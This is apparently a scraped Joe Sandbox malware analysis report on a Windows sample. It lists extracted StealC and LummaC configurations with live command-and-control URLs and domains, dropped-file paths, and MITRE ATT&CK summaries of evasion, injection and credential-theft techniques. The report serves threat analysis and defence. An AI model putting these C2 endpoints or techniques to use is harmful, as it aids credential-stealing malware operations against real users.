Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 6bb58d03b9ea4bfbfa12c791ff7236214773a8a191781791f7270d133198a76c
Instruction ID: d0195200d23fc624bfbe6d8f985bfa0947bb7efc803fc0d91791bf7e3736503b
Opcode Fuzzy Hash: 6bb58d03b9ea4bfbfa12c791ff7236214773a8a191781791f7270d133198a76c
Instruction Fuzzy Hash: EDC0EA7560468E9FDB846F7894086AE3A60EF05322F250618E86285AC0DB764C64DA19

Non-executed Functions

Function 0092BBDD Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2550838347.000000000092A000.00000040.00000001.01000000.00000006.sdmp, Offset: 00790000, based on PE: true

Associated: 00000003.00000002.2550029434.0000000000790000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550054931.0000000000792000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550080592.0000000000796000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550106455.000000000079A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550134093.00000000007A6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550291623.0000000000900000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550322139.0000000000902000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550400279.0000000000913000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550481529.0000000000914000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550628131.0000000000921000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550690429.0000000000924000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550719244.0000000000925000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550747709.0000000000926000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550780437.0000000000927000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550812196.0000000000929000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550866498.0000000000932000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550894596.0000000000933000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550924075.0000000000939000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550953060.000000000093C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2550985229.000000000093D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551015928.000000000093E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551057560.0000000000957000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551090431.0000000000961000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551122366.000000000096C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551147860.000000000096D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551184480.0000000000981000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551214297.0000000000989000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551241393.000000000098A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551272327.000000000098E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551299456.000000000098F000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551332219.0000000000994000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551366790.00000000009A9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551394771.00000000009AB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551428902.00000000009B7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551456277.00000000009B8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551483315.00000000009B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551512072.00000000009C1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551540289.00000000009C9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551568742.00000000009CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551602115.00000000009DC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551629365.00000000009DE000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551662213.00000000009E8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551689062.00000000009E9000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551729101.0000000000A17000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551756547.0000000000A18000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551784448.0000000000A19000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551808775.0000000000A1B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A25000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551835638.0000000000A2C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551891009.0000000000A3A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.2551918706.0000000000A3C000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_790000_9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cfa3f9ba1e3c81da8c9a6f78362fc027ecacab57c1dd7ec81d1aae7187b6e27
Instruction ID: 6d35e50cb30a951a632bbe05b33d651ac3e8157653411994679ab42ccfc8bd21
Opcode Fuzzy Hash: 7cfa3f9ba1e3c81da8c9a6f78362fc027ecacab57c1dd7ec81d1aae7187b6e27
Instruction Fuzzy Hash: A6E04676114201AAC700AF64D85599FFBF8FF19320F21984AE888CB726C3758C41CB2A

Source: http://185.215.113.206/c4becf79229cb002.phpl(	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/m	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/rV	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/Z1	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpx(	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpT(	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/pim	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/%	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php8)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/L?	Avira URL Cloud: Label: malware

Source: GZ5P1E828L48RRT6FSG1LU5.exe.2292.4.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}
Source: qvkwOs4JfC.exe.5664.0.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["awake-weaves.cyou", "debonairnukk.xyz", "deafeninggeh.biz", "diffuculttan.xyz", "wrathful-jammy.cyou", "tacitglibbr.biz", "sordid-snaked.cyou", "effecterectz.xyz", "immureprech.biz"], "Build id": "PsFKDg--pablo"}

Source: C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe	Joe Sandbox ML: detected

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qvkwOs4JfC.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe.log

C:\Users\user\AppData\Local\Temp\9Z67ZHXNLW27FF6DOO1V0QHRQ8J634.exe

C:\Users\user\AppData\Local\Temp\GZ5P1E828L48RRT6FSG1LU5.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
qvkwOs4JfC.exe

Function 009197F5 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
fileCOMMON

Function 00925B77 Relevance: 4.6, APIs: 3, Instructions: 63
registryCOMMON

Function 00919979 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 168
fileCOMMON

Function 00919B86 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 159
fileCOMMON

Function 00915987 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 145
libraryCOMMON

Function 00919990 Relevance: 1.6, APIs: 1, Instructions: 78
fileCOMMON

Function 00919B8B Relevance: 1.6, APIs: 1, Instructions: 77
fileCOMMON

Function 00919B60 Relevance: 1.6, APIs: 1, Instructions: 71
fileCOMMON

Function 00919BC4 Relevance: 1.6, APIs: 1, Instructions: 67
fileCOMMON

Function 009199C2 Relevance: 1.6, APIs: 1, Instructions: 62
fileCOMMON

Function 04C90D42 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 04C90D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 00919A25 Relevance: 1.6, APIs: 1, Instructions: 59
fileCOMMON

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre